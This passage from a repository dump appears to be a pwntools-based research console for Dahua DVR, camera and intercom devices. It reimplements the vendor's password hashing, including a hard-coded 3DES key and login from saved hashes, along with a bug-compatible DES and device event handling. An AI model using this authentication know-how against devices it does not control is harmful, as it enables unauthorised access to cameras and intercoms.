      \"authorityInfo\": \"XXXXXXX\"\n            # \"passwordType\": \"Ushield\",\n            # \"clientType\": \"Ushield\",\n            # \"loginType\": \"Ushield\",\n        })\n        return params\n\n    elif logon == 'local':\n        \"\"\" Unknown login procedure \"\"\"\n        params.update({\n            \"clientType\": \"Local\",\n            \"loginType\": \"Local\",\n            # \"authorityType\": \"Local\",\n            # \"passwordType\": \"Local\"\n        })\n        return params\n\n    elif logon == 'maybe_iot_or_azure':\n        \"\"\" Unknown login procedure \"\"\"\n        params.update({\n            \"deviceId\": \"Unknown\",  # Required for 'dasToken'\n            \"dasToken\": \"Unknown\"  # depending of 'deviceId'\n        })\n        return params\n\n    else:\n        log.failure('Unknown logon method')\n        return None\n\n\ndef _compressor(in_var, out):\n    \"\"\" From: https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py \"\"\"\n    i = 0\n    j = 0\n\n    while i < len(in_var):\n        # python 2.x (thanks to @davidak501)\n        # out[j] = (ord(in_var[i]) + ord(in_var[i+1])) % 62;\n        # python 3.x\n        out[j] = (in_var[i] + in_var[i + 1]) % 62\n        if out[j] < 10:\n            out[j] += 48\n        elif out[j] < 36:\n            out[j] += 55\n        else:\n            out[j] += 61\n\n        i = i + 2\n        j = j + 1\n\n\ndef dahua_gen1_hash(password):\n    \"\"\" From: https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py \"\"\"\n    m = hashlib.md5()\n    m.update(password.encode(\"latin-1\"))\n\n    s = m.digest()\n    crypt = []\n    for b in s:\n        crypt.append(b)\n\n    out2 = [''] * 8\n    _compressor(crypt, out2)\n    dh_data = ''.join([chr(c) for c in out2])\n\n    return dh_data\n\n\ndef basic_auth(username, password):\n\n    return b64e(username.encode('latin-1') + b':' + password.encode('latin-1'))\n\n\ndef dahua_dvrip_md5_hash(dh_random=None, username=None, password=None, saved_host=None):\n    \"\"\" Dahua (gen1) DVRIP random MD5 password hash \"\"\"\n\n    return hashlib.md5(\n        (username + ':' + dh_random + ':' + saved_host.get('password').get('gen1') if password is None else\n         dahua_gen1_hash(password)).encode('latin-1')\n    ).hexdigest().upper()\n\n\ndef dahua_gen2_md5_hash(\n        dh_random=None, dh_realm=None, username=None, password=None, saved_host=None, return_hash=False):\n    \"\"\" Dahua (gen2) DHIP/WEB random MD5 password hash \"\"\"\n\n    dh_hash = saved_host.get('password').get('gen2') if password is None else hashlib.md5(\n        (username + ':' + dh_realm + ':' + password).encode('latin-1')\n    ).hexdigest().upper()\n\n    if return_hash:\n        return dh_hash\n\n    return hashlib.md5(\n        (username + ':' + dh_random + ':' + dh_hash).encode('latin-1')\n    ).hexdigest().upper()\n\n\ndef dahua_digest_md5_hash(dh_random=None, dh_realm=None, username=None, password=None, saved_host=None, created=None):\n    \"\"\" Dahua (digest) DHIP/WEB random MD5 password hash \"\"\"\n\n    dh_hash = saved_host.get('password').get('gen2').lower() if saved_host else hashlib.md5(\n        (username + ':' + dh_realm + ':' + password).encode('latin-1')\n    ).hexdigest()\n    return hashlib.md5(\n        (dh_hash + ':' + dh_random + ':' + created).encode('ascii')\n    ).hexdigest()\n\n\ndef dahua_onvif_sha1_hash(dh_random=None, password=None, device_random=False, saved_host=None):\n    \"\"\" Dahua (onvif) DHIP/WEB random SHA1 password hash \"\"\"\n\n    if password is None and saved_host is not None:\n        dh_params = saved_host.get('password').get('onvif', None)\n        return dh_params\n\n    authority_info = os.urandom(20)\n\n    if device_random:\n        # Use original 'dh_random' from device\n        dh_random = dh_random.encode('ascii')\n    else:\n        # Or, we can set random to what we want\n        dh_random = os.urandom(20)\n\n    hash_digest = hashlib.sha1()\n    hash_digest.update((dh_random + authority_info + password.encode('ascii')))\n\n    return {\n        \"authorityInfo\": b64e(authority_info),\n        \"password\": b64e(hash_digest.digest()),\n        \"random\": b64e(dh_random)\n    }\n\n\ndef dahua_gen0_hash(dh_data, des_mode):\n    \"\"\"The DES/3DES code in the bottom of this script.\"\"\"\n\n    # \"secret\" key for Dahua Technology\n    key = b'poiuytrewq'  # 3DES\n\n    if len(dh_data) > 8:  # Max 8 bytes!\n        log.failure(f\"'{dh_data}' is more than 8 bytes, this will most probably fail\")\n    dh_data = dh_data[0:8]\n    data_len = len(dh_data)\n\n    key_len = len(key)\n\n    \"\"\" padding key with 0x00 if needed \"\"\"\n    if key_len <= 8:\n        if not (key_len % 8) == 0:\n            # key += p8(0x0) * (8 - (key_len % 8))  # DES (8 bytes)\n            key += b'\\x00' * (8 - (key_len % 8))  # DES (8 bytes)\n    elif key_len <= 16:\n        if not (key_len % 16) == 0:\n            # key += p8(0x0) * (16 - (key_len % 16))  # 3DES DES-EDE2 (16 bytes)\n            key += b'\\x00' * (16 - (key_len % 16))  # 3DES DES-EDE2 (16 bytes)\n    elif key_len <= 24:\n        if not (key_len % 24) == 0:\n            # key += p8(0x0) * (24 - (key_len % 24))  # 3DES DES-EDE3 (24 bytes)\n            key += b'\\x00' * (24 - (key_len % 24))  # 3DES DES-EDE3 (24 bytes)\n\n    \"\"\" padding key with 0x00 if needed \"\"\"\n    if not (data_len % 8) == 0:\n        # dh_data += p8(0x0).decode('latin-1') * (8 - (data_len % 8))\n        dh_data += '\\x00' * (8 - (data_len % 8))\n\n    if key_len == 8:\n        k = Des(key)\n    else:\n        k = TripleDes(key)\n\n    if des_mode == ENCRYPT:\n        dh_data = k.encrypt(dh_data.encode('latin-1'))\n    else:\n        dh_data = k.decrypt(dh_data)\n        dh_data = dh_data.decode('latin-1').strip('\\x00')  # Strip all 0x00 padding\n\n    return dh_data\n\n\n\"\"\"\n[WARNING!] Do NOT reuse below code for legit DES/3DES! [WARNING!]\nThis code has been cleaned and modified so it will fit my needs to\nreplicate Dahua's implementation of DES/3DES with endianness bugs.\n\n[This code is based based on]\nA pure python implementation of the DES and TRIPLE DES encryption algorithms.\nAuthor:   Todd Whitman's\nHomepage: http://twhiteman.netfirms.com/des.html\n\"\"\"\n\n\nclass _BaseDes(object):\n    \"\"\" The base class shared by des and triple des \"\"\"\n\n    def __init__(self):\n        self.block_size = 8\n        self.__key = None\n\n    def get_key(self):\n        \"\"\"get_key() -> bytes\"\"\"\n        return self.__key\n\n    def set_key(self, key):\n        \"\"\"Will set the crypting key for this object.\"\"\"\n        self.__key = key\n\n\nclass Des(_BaseDes):\n    \"\"\" DES \"\"\"\n\n    \"\"\" Permutation and translation tables for DES \"\"\"\n    __pc1 = [\n        56, 48, 40, 32, 24, 16,  8,\n        0, 57, 49, 41, 33, 25, 17,\n        9,  1, 58, 50, 42, 34, 26,\n        18, 10,  2, 59, 51, 43, 35,\n        62, 54, 46, 38, 30, 22, 14,\n        6, 61, 53, 45, 37, 29, 21,\n        13,  5, 60, 52, 44, 36, 28,\n        20, 12,  4, 27, 19, 11,  3\n    ]\n\n    \"\"\" number left rotations of pc1 \"\"\"\n    __left_rotations = [\n        1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1\n    ]\n\n    \"\"\" permuted choice key (table 2) \"\"\"\n    __pc2 = [\n        13, 16, 10, 23,  0,  4,\n        2, 27, 14,  5, 20,  9,\n        22, 18, 11,  3, 25,  7,\n        15,  6, 26, 19, 12,  1,\n        40, 51, 30, 36, 46, 54,\n        29, 39, 50, 44, 32, 47,\n        43, 48, 38, 55, 33, 52,\n        45, 41, 49, 35, 28, 31\n    ]\n\n    # initial permutation IP\n    __ip = [\n        57, 49, 41, 33, 25, 17, 9,  1,\n        59, 51, 43, 35, 27, 19, 11, 3,\n        61, 53, 45, 37, 29, 21, 13, 5,\n        63, 55, 47, 39, 31, 23, 15, 7,\n        56, 48, 40, 32, 24, 16, 8,  0,\n        58, 50, 42, 34, 26, 18, 10, 2,\n        60, 52, 44, 36, 28, 20, 12, 4,\n        62, 54, 46, 38, 30, 22, 14, 6\n    ]\n\n    # Expansion table for turning 32 bit blocks into 48 bits\n    __expansion_table = [\n        31,  0,  1,  2,  3,  4,\n        3,  4,  5,  6,  7,  8,\n        7,  8,  9, 10, 11, 12,\n        11, 12, 13, 14, 15, 16,\n        15, 16, 17, 18, 19, 20,\n        19, 20, 21, 22, 23, 24,\n        23, 24, 25, 26, 27, 28,\n        27, 28, 29, 30, 31,  0\n    ]\n\n    # The (in)famous S-boxes\n    __sbox = [\n        # S1\n        [\n            14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,\n            0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,\n            4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,\n            15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13\n        ],\n\n        # S2\n        [\n            15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,\n            3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,\n            0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,\n            13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9\n        ],\n\n        # S3\n        [\n            10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,\n            13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,\n            13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,\n            1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12\n        ],\n\n        # S4\n        [\n            7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,\n            13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,\n            10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,\n            3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14\n        ],\n\n        # S5\n        [\n            2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,\n            14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,\n            4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,\n            11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3\n        ],\n\n        # S6\n        [\n            12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,\n            10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,\n            9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,\n            4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13\n        ],\n\n        # S7\n        [\n            4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,\n            13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,\n            1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,\n            6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12\n        ],\n\n        # S8\n        [\n            13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,\n            1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,\n            7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,\n            2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11\n        ],\n    ]\n\n    \"\"\" 32-bit permutation function P used on the output of the S-boxes \"\"\"\n    __p = [\n        15, 6, 19, 20, 28, 11,\n        27, 16, 0, 14, 22, 25,\n        4, 17, 30, 9, 1, 7,\n        23, 13, 31, 26, 2, 8,\n        18, 12, 29, 5, 21, 10,\n        3, 24\n    ]\n\n    \"\"\" final permutation IP^-1 \"\"\"\n    __fp = [\n        39,  7, 47, 15, 55, 23, 63, 31,\n        38,  6, 46, 14, 54, 22, 62, 30,\n        37,  5, 45, 13, 53, 21, 61, 29,\n        36,  4, 44, 12, 52, 20, 60, 28,\n        35,  3, 43, 11, 51, 19, 59, 27,\n        34,  2, 42, 10, 50, 18, 58, 26,\n        33,  1, 41,  9, 49, 17, 57, 25,\n        32,  0, 40,  8, 48, 16, 56, 24\n    ]\n\n    \"\"\" Initialisation \"\"\"\n    def __init__(self, key):\n        _BaseDes.__init__(self)\n        self.key_size = 8\n        self.L = []\n        self.R = []\n        self.Kn = [[0] * 48] * 16  # 16 48-bit keys (K1 - K16)\n        self.final = []\n\n        self.set_key(key)\n\n    def set_key(self, key):\n        \"\"\"Will set the crypto key for this object. Must be 8 bytes.\"\"\"\n        _BaseDes.set_key(self, key)\n        self.__create_sub_keys()\n\n    @staticmethod\n    def __string_to_bitlist(dh_data):\n        \"\"\"Turn the string data, into a list of bits (1, 0)'s\"\"\"\n        return bits(dh_data, endian='little')  # Dahua endianness bug\n\n    @staticmethod\n    def __bitlist_to_string(dh_data):\n        \"\"\"Turn the list of bits -> data, into a string\"\"\"\n        return bytes(list(unbits(dh_data, endian='little')))  # Dahua endianness bug\n\n    @staticmethod\n    def __permutate(table, block):\n        \"\"\"Permutate this block with the specified table\"\"\"\n        return list(map(lambda x: block[x], table))\n\n    \"\"\"\n    Transform the secret key, so that it is ready for data processing\n    Create the 16 subkeys, K[1] - K[16]\n    \"\"\"\n    def __create_sub_keys(self):\n        \"\"\"Create the 16 subkeys K[1] to K[16] from the given key\"\"\"\n        key = self.__permutate(Des.__pc1, self.__string_to_bitlist(self.get_key()))\n        i = 0\n        # Split into Left and Right sections\n        self.L = key[:28]\n        self.R = key[28:]\n\n        while i < 16:\n            j = 0\n            # Perform circular left shifts\n            while j < Des.__left_rotations[i]:\n                self.L.append(self.L[0])\n                del self.L[0]\n\n                self.R.append(self.R[0])\n                del self.R[0]\n                j += 1\n            # Create one of the 16 subkeys through pc2 permutation\n            self.Kn[i] = self.__permutate(Des.__pc2, self.L + self.R)\n            i += 1\n\n    # Main part of the encryption algorithm, the number cruncher :)\n    def __des_crypt(self, block, crypt_type):\n        \"\"\"Crypt the block of data through DES bit-manipulation\"\"\"\n        block = self.__permutate(Des.__ip, block)\n\n        self.L = block[:32]\n        self.R = block[32:]\n\n        # Encryption starts from Kn[1] through to Kn[16]\n        if crypt_type == ENCRYPT:\n            iteration = 0\n            iteration_adjustment = 1\n        # Decryption starts from Kn[16] down to Kn[1]\n        else:\n            iteration = 15\n            iteration_adjustment = -1\n\n        i = 0\n        while i < 16:\n            # Make a copy of R[i-1], this will later become L[i]\n            if crypt_type == ENCRYPT:\n                temp_r = self.R[:]\n            else:\n                temp_r = self.L[:]\n\n            # Permutate R[i - 1] to start creating R[i]\n            if crypt_type == ENCRYPT:\n                self.R = self.__permutate(Des.__expansion_table, self.R)\n            else:\n                self.L = self.__permutate(Des.__expansion_table, self.L)\n\n            # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here\n            if crypt_type == ENCRYPT:\n                self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))\n                _b = [\n                    self.R[:6],\n                    self.R[6:12],\n                    self.R[12:18],\n                    self.R[18:24],\n                    self.R[24:30],\n                    self.R[30:36],\n                    self.R[36:42],\n                    self.R[42:]\n                ]\n            else:\n                self.L = list(map(lambda x, y: x ^ y, self.L, self.Kn[iteration]))\n                _b = [\n                    self.L[:6],\n                    self.L[6:12],\n                    self.L[12:18],\n                    self.L[18:24],\n                    self.L[24:30],\n                    self.L[30:36],\n                    self.L[36:42],\n                    self.L[42:]\n                ]\n\n            # Permutate _b[1] to _b[8] using the S-Boxes\n            j = 0\n            _bn = []\n            while j < 8:\n\n                # Work out the offsets\n                m = (_b[j][0] << 1) + _b[j][5]\n                n = (_b[j][1] << 3) + (_b[j][2] << 2) + (_b[j][3] << 1) + _b[j][4]\n\n                # Find the permutation value\n                v = Des.__sbox[j][(m << 4) + n]\n\n                # Turn value into bits, add it to result: _bn\n                for tmp in list(map(lambda x: x, bits(v, endian='little')[:4])):  # Dahua endianness bug\n                    _bn.append(tmp)\n\n                j += 1\n\n            # Permutate the concatination of _b[1] to _b[8] (_bn)\n            if crypt_type == ENCRYPT:\n                self.R = self.__permutate(Des.__p, _bn)\n            else:\n                self.L = self.__permutate(Des.__p, _bn)\n\n            # Xor with L[i - 1]\n            if crypt_type == ENCRYPT:\n                self.R = list(map(lambda x, y: x ^ y, self.R, self.L))\n            else:\n                self.L = list(map(lambda x, y: x ^ y, self.R, self.L))\n\n            # L[i] becomes R[i - 1]\n            if crypt_type == ENCRYPT:\n                self.L = temp_r\n            else:\n                self.R = temp_r\n\n            i += 1\n            iteration += iteration_adjustment\n\n        # Final permutation of R[16]L[16]\n        if crypt_type == ENCRYPT:\n            self.final = self.__permutate(Des.__fp, self.L + self.R)\n        else:\n            self.final = self.__permutate(Des.__fp, self.L + self.R)\n        return self.final\n\n    def crypt(self, dh_data, crypt_type):\n        \"\"\"Crypt the data in blocks, running it through des_crypt()\"\"\"\n\n        # Error check the data\n        if not dh_data:\n            return ''\n\n        # Split the data into blocks, crypting each one separately\n        i = 0\n        # dict = {}\n        result = []\n\n        while i < len(dh_data):\n\n            block = self.__string_to_bitlist(dh_data[i:i + 8])\n            processed_block = self.__des_crypt(block, crypt_type)\n\n            # Add the resulting crypted block to our list\n            result.append(self.__bitlist_to_string(processed_block))\n            i += 8\n\n        # Return the full crypted string\n        return bytes.fromhex('').join(result)\n\n    def encrypt(self, dh_data):\n\n        return self.crypt(dh_data, ENCRYPT)\n\n    def decrypt(self, dh_data):\n\n        return self.crypt(dh_data, DECRYPT)\n\n\nclass TripleDes(_BaseDes):\n    \"\"\"Triple DES\"\"\"\n\n    def __init__(self, key):\n        _BaseDes.__init__(self)\n        self.key_size = None\n        self.__key1 = None\n        self.__key2 = None\n        self.__key3 = None\n\n        self.set_key(key)\n\n    def set_key(self, key):\n        \"\"\"Will set the crypting key for this object. Either 16 or 24 bytes long.\"\"\"\n        self.key_size = 24  # Use DES-EDE3 mode\n        if len(key) != self.key_size:\n            if len(key) == 16:  # Use DES-EDE2 mode\n                self.key_size = 16\n\n        self.__key1 = Des(key[:8])\n        self.__key2 = Des(key[8:16])\n        if self.key_size == 16:\n            self.__key3 = self.__key1\n        else:\n            self.__key3 = Des(key[16:])\n\n        _BaseDes.set_key(self, key)\n\n    def encrypt(self, dh_data):\n\n        dh_data = self.__key1.crypt(dh_data, ENCRYPT)\n        dh_data = self.__key2.crypt(dh_data, DECRYPT)\n        dh_data = self.__key3.crypt(dh_data, ENCRYPT)\n        return dh_data\n\n    def decrypt(self, dh_data):\n        dh_data = self.__key3.crypt(dh_data, DECRYPT)\n        dh_data = self.__key2.crypt(dh_data, ENCRYPT)\n        dh_data = self.__key1.crypt(dh_data, DECRYPT)\n        return dh_data\n"
  },
  {
    "path": "events.py",
    "content": "import _thread\nfrom utils import *\nfrom connection import DahuaConnect\n\n\nclass DahuaEvents(DahuaConnect):\n    def __init__(self):\n        super(DahuaEvents, self).__init__()\n\n    def internal_event_manager(self, dh_data):\n        \"\"\" JSON fixing part, then feed 'local_event_handler()' \"\"\"\n\n        try:\n            events = fix_json(dh_data)\n            for event in events:\n                self.local_event_handler(event)\n        except Exception as e:\n            log.failure('[internal_event_manager] {}'.format(repr(e)))\n\n    def local_event_handler(self, dh_data):\n        \"\"\" Local event handler \"\"\"\n        try:\n            host = dh_data.get('host')\n            event_list = dh_data.get('params').get('eventList')\n\n            for events in event_list:\n                if events.get('Action') == 'Start':\n                    \"\"\"\n                    Reboot event, remote device is already rebooting and we cannot make clean exit,\n                    so just close instance and reschedule connection\n                    \"\"\"\n                    if events.get('Code') == 'Reboot':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), LYELLOW),\n                            color(host, GREEN),\n                            color('Reboot', RED),\n                        ))\n                        tmp = False\n\n                        session = None\n                        for session in self.dhConsole:\n                            if self.dhConsole.get(session).get('host') == host:\n                                log.warning(\n                                    \"{}: {} ({})\".format(\n                                        session,\n                                        self.dhConsole.get(session).get('device'),\n                                        self.dhConsole.get(session).get('host')))\n\n                                tmp = self.dhConsole.get(session).get('instance')\n                                tmp.terminate = True\n                                tmp.logout()\n                                break\n                        if tmp:\n                            if tmp == self.dh:\n                                del self.dh\n                                self.dhConsole.pop(session)\n\n                                if len(self.dhConsole):\n                                    for session in self.dhConsole:\n                                        self.dh = self.dhConsole.get(session).get('instance')\n                                        break\n                            else:\n                                del tmp\n                                self.dhConsole.pop(session)\n\n                        # _thread.start_new_thread(self.restart_connection, (\"restart_connection\", host,))\n                        _thread.start_new_thread(self.restart_connection, (host,))\n\n                    elif events.get('Code') == 'Exit':\n\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('Exit App', RED)\n                        ))\n                    elif events.get('Code') == 'ShutDown':\n\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('ShutDown App', RED)\n                        ))\n                    # VTO\n                    elif events.get('Code') == 'AlarmLocal':\n\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('AlarmLocal [Start]', RED)\n                        ))\n                    # VTO\n                    elif events.get('Code') == 'ProfileAlarmTransmit':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color(\n                                'ProfileAlarmTransmit [Start]\\n'\n                                'AlarmType: {}, DevSrcType: {}, SenseMethod: {}, UserID: {}'.format(\n                                    events.get('Data').get('AlarmType'),\n                                    events.get('Data').get('DevSrcType'),\n                                    events.get('Data').get('SenseMethod'),\n                                    events.get('Data').get('UserID'),\n                                ), RED)\n                        ))\n                    elif events.get('Code') == 'SafetyAbnormal':\n                        log.warning('[{} ({}) Start ] {}'.format(\n                            color(\n                                events.get('Data').get('AbnormalTime')\n                                if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),\n                                YELLOW\n                            ),\n                            color(host, GREEN),\n                            color('{} {}'.format(\n                                events.get('Data').get('ExceptionType'),\n                                events.get('Data').get('Address')\n                            ), RED),\n                        ))\n\n                elif events.get('Action') == 'Stop':\n\n                    # VTO\n                    if events.get('Code') == 'AlarmLocal':\n\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('AlarmLocal [Stop]', GREEN)\n                        ))\n\n                    # VTO\n                    elif events.get('Code') == 'ProfileAlarmTransmit':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color(\n                                'ProfileAlarmTransmit [Stop]\\n'\n                                'AlarmType: {}, DevSrcType: {}, SenseMethod: {}, UserID: {}'.format(\n                                    events.get('Data').get('AlarmType'),\n                                    events.get('Data').get('DevSrcType'),\n                                    events.get('Data').get('SenseMethod'),\n                                    events.get('Data').get('UserID'),\n                                ), GREEN)\n                        ))\n\n                    elif events.get('Code') == 'SafetyAbnormal':\n                        log.warning('[{} ({}) Stop ] {}'.format(\n                            color(\n                                events.get('Data').get('AbnormalTime')\n                                if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),\n                                YELLOW\n                            ),\n                            color(host, GREEN),\n                            color('{} {}'.format(\n                                events.get('Data').get('ExceptionType'),\n                                events.get('Data').get('Address')\n                            ), RED),\n                        ))\n\n                elif events.get('Action') == 'Pulse':\n\n                    if events.get('Code') == 'SafetyAbnormal':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(\n                                events.get('Data').get('AbnormalTime')\n                                if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),\n                                YELLOW\n                            ),\n                            color(host, GREEN),\n                            color('{} {}'.format(\n                                events.get('Data').get('ExceptionType'),\n                                events.get('Data').get('Address')\n                            ), RED),\n                        ))\n\n                    elif events.get('Code') == 'LoginFailure':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('Login Failure: {} {} ({})'.format(\n                                events.get('Data').get('Name'),\n                                events.get('Data').get('Address'),\n                                events.get('Data').get('Type')\n                            ), RED),\n                        ))\n\n                    elif events.get('Code') == 'RemoteIPModified':\n                        log.warning('[{} ({}) ] {}\\n{}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('DHDiscover.setConfig', YELLOW),\n                            events.get('Data'),\n                        ))\n\n                    elif events.get('Code') == 'Reset':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('Factory default reset', RED),\n                        ))\n\n                    # VTH\n                    elif events.get('Code') == 'InfoTip':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('InfoTip', YELLOW),\n                        ))\n                    # VTH\n                    elif events.get('Code') == 'KeepLightOn':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('KeepLightOn: {}'.format(events.get('Data').get('Status')), YELLOW),\n                        ))\n                    # VTH\n                    elif events.get('Code') == 'ScreenOff':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('ScreenOff', YELLOW),\n                        ))\n                    # VTH\n                    elif events.get('Code') == 'VthAlarm':\n                        log.warning('[{} ({}) ] {}'.format(\n                            color(events.get('Data').get('LocaleTime'), YELLOW),\n                            color(host, GREEN),\n                            color('VTH Alarm', RED),\n                        ))\n\n        except Exception as e:\n            log.failure('[local_event_handler] {}'.format(repr(e)))\n            pass\n"
  },
  {
    "path": "eventviewer.py",
    "content": "#!/usr/bin/env python3\nfrom utils import *\n\n\ndef main():\n\t\"\"\" Simple Event Viewer \"\"\"\n\tevents = None\n\ttry:\n\t\tevents = remote('127.0.0.1', EventOutServerPort, ssl=False, timeout=5)\n\n\t\twhile True:\n\t\t\tevent_data = ''\n\n\t\t\twhile True:\n\t\t\t\ttmp = len(event_data)\n\t\t\t\tevent_data += events.recv(numb=8192, timeout=1).decode('latin-1')\n\t\t\t\tif tmp == len(event_data):\n\t\t\t\t\tbreak\n\n\t\t\tif len(event_data):\n\t\t\t\t# fix the JSON mess\n\t\t\t\tevent_data = fix_json(event_data)\n\t\t\t\tif not len(event_data):\n\t\t\t\t\tlog.warning('[Simple Event Viewer]: callback data invalid!\\n')\n\t\t\t\t\treturn False\n\n\t\t\t\tfor event in event_data:\n\t\t\t\t\tlog.info('[Event From]: {}\\n{}'.format(color(event.get('host'), GREEN), event))\n\n\texcept (PwnlibException, EOFError, KeyboardInterrupt):\n\t\tlog.warning(\"[Simple Event Viewer]\")\n\t\tif events:\n\t\t\tevents.close()\n\t\treturn False\n\n\nif __name__ == '__main__':\n\tmain()\n"
  },
  {
    "path": "net.py",
    "content": "import ast\nimport ndjson\nimport copy\nimport inspect\nimport _thread\n\nfrom utils import *\nfrom pwdmanager import PwdManager\nfrom relay import init_relay, DahuaHttp\n\n\ndef dahua_proto(proto):\n    \"\"\" DVRIP have different codes in their protocols \"\"\"\n\n    headers = [\n        b'\\xa0\\x00',  # 3DES Login\n        b'\\xa0\\x01',  # DVRIP Send Request Realm\n        b'\\xa0\\x05',  # DVRIP login Send Login Details\n        b'\\xb0\\x00',  # DVRIP Receive\n        b'\\xb0\\x01',  # DVRIP Receive\n        b'\\xa3\\x01',  # DVRIP Discover Request\n        b'\\xb3\\x00',  # DVRIP Discover Response\n        b'\\xf6\\x00',  # DVRIP JSON\n    ]\n    if proto[:2] in headers:\n        return True\n    return False\n\n\nclass Network(object):\n    def __init__(self):\n        super(Network, self).__init__()\n\n        self.args = None\n\n        \"\"\" If we don't have own udp server running in main app, will be False and we do not send anything \"\"\"\n        self.tcp_server = None\n\n        self.console_attach = None\n        self.DeviceClass = None\n        self.DeviceType = None\n        self.AuthCode = None\n        self.ErrorCode = None\n\n        # Internal sharing\n        self.ID = 0\t\t\t\t\t\t\t# Our Request / Response ID that must be in all requests and initiated by us\n        self.SessionID = 0\t\t\t\t\t# Session ID will be returned after successful login\n        self.header = None\n\n        self.instance_serviceDB = {}\t\t# Store of Object, ProcID, SID, etc.. for 'service'\n        self.multicall_query_args = []\t\t# Used with system.multicall method\n        self.multicall_query = []\t\t\t# Used with system.multicall method\n        self.multicall_return_check = None  # Used with system.multicall method\n\n        self.fuzzDB = {}\t\t\t\t\t# Used when fuzzing some calls\n\n        self.RestoreEventHandler = {}\t\t# Cache of temporary enabled events\n\n        self.params_tmp = {}\t\t\t\t\t# Used in instance_create()\n        self.attachParamsTMP = []\t\t\t# Used in instance_create()\n\n        self.RemoteServicesCache = {}\t\t# Cache of remote services, used to check if certain service exist or not\n        self.RemoteMethodsCache = {}\t\t# Cache of used remote methods\n        self.RemoteConfigCache = {}\t\t\t# Cache of remote config\n\n        self.rhost = None\n        self.rport = None\n        self.proto = None\n        self.events = None\n        self.ssl = None\n        self.relay_host = None\n        self.timeout = None\n        self.udp_server = None\n\n        self.proto = None\n        self.relay = None\n        self.remote = None\n\n        self.debug = None\n        